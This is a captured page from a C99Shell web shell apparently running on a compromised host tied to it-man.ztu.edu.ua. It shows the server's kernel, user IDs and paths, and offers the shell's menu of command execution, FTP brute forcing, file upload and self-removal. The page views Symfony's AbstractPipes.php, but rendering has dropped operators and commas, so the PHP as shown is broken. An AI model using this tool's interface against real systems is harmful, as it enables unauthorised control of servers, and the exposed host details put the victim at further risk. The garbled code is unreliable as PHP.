!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/symfony/process/Pipes/   drwxr-xr-x
Free 116.83 GB of 200.55 GB (58.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AbstractPipes.php (3.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Process\Pipes;

/**
 * @author Romain Neutron <imprec@gmail.com>
 *
 * @internal
 */
abstract class AbstractPipes implements PipesInterface
{
    
/** @var array */
    
public $pipes = array();

    
/** @var string */
    
private $inputBuffer '';
    
/** @var resource|null */
    
private $input;
    
/** @var bool */
    
private $blocked true;

    public function 
__construct($input)
    {
        if (
is_resource($input)) {
            
$this->input $input;
        } elseif (
is_string($input)) {
            
$this->inputBuffer $input;
        } else {
            
$this->inputBuffer = (string) $input;
        }
    }

    
/**
     * {@inheritdoc}
     */
    
public function close()
    {
        foreach (
$this->pipes as $pipe) {
            
fclose($pipe);
        }
        
$this->pipes = array();
    }

    
/**
     * Returns true if a system call has been interrupted.
     *
     * @return bool
     */
    
protected function hasSystemCallBeenInterrupted()
    {
        
$lastError error_get_last();

        
// stream_select returns false when the `select` system call is interrupted by an incoming signal
        
return isset($lastError['message']) && false !== stripos($lastError['message'], 'interrupted system call');
    }

    
/**
     * Unblocks streams.
     */
    
protected function unblock()
    {
        if (!
$this->blocked) {
            return;
        }

        foreach (
$this->pipes as $pipe) {
            
stream_set_blocking($pipe0);
        }
        if (
null !== $this->input) {
            
stream_set_blocking($this->input0);
        }

        
$this->blocked false;
    }

    
/**
     * Writes input to stdin.
     */
    
protected function write()
    {
        if (!isset(
$this->pipes[0])) {
            return;
        }
        
$input $this->input;
        
$r $e = array();
        
$w = array($this->pipes[0]);

        
// let's have a look if something changed in streams
        
if (false === $n = @stream_select($r$w$e00)) {
            return;
        }

        foreach (
$w as $stdin) {
            if (isset(
$this->inputBuffer[0])) {
                
$written fwrite($stdin$this->inputBuffer);
                
$this->inputBuffer substr($this->inputBuffer$written);
                if (isset(
$this->inputBuffer[0])) {
                    return array(
$this->pipes[0]);
                }
            }

            if (
$input) {
                for (;;) {
                    
$data fread($inputself::CHUNK_SIZE);
                    if (!isset(
$data[0])) {
                        break;
                    }
                    
$written fwrite($stdin$data);
                    
$data substr($data$written);
                    if (isset(
$data[0])) {
                        
$this->inputBuffer $data;

                        return array(
$this->pipes[0]);
                    }
                }
                if (
feof($input)) {
                    
// no more data to read on input resource
                    // use an empty buffer in the next reads
                    
$this->input null;
                }
            }
        }

        
// no input to read on resource, buffer is empty
        
if (null === $this->input && !isset($this->inputBuffer[0])) {
            
fclose($this->pipes[0]);
            unset(
$this->pipes[0]);
        }

        if (!
$w) {
            return array(
$this->pipes[0]);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0136 ]--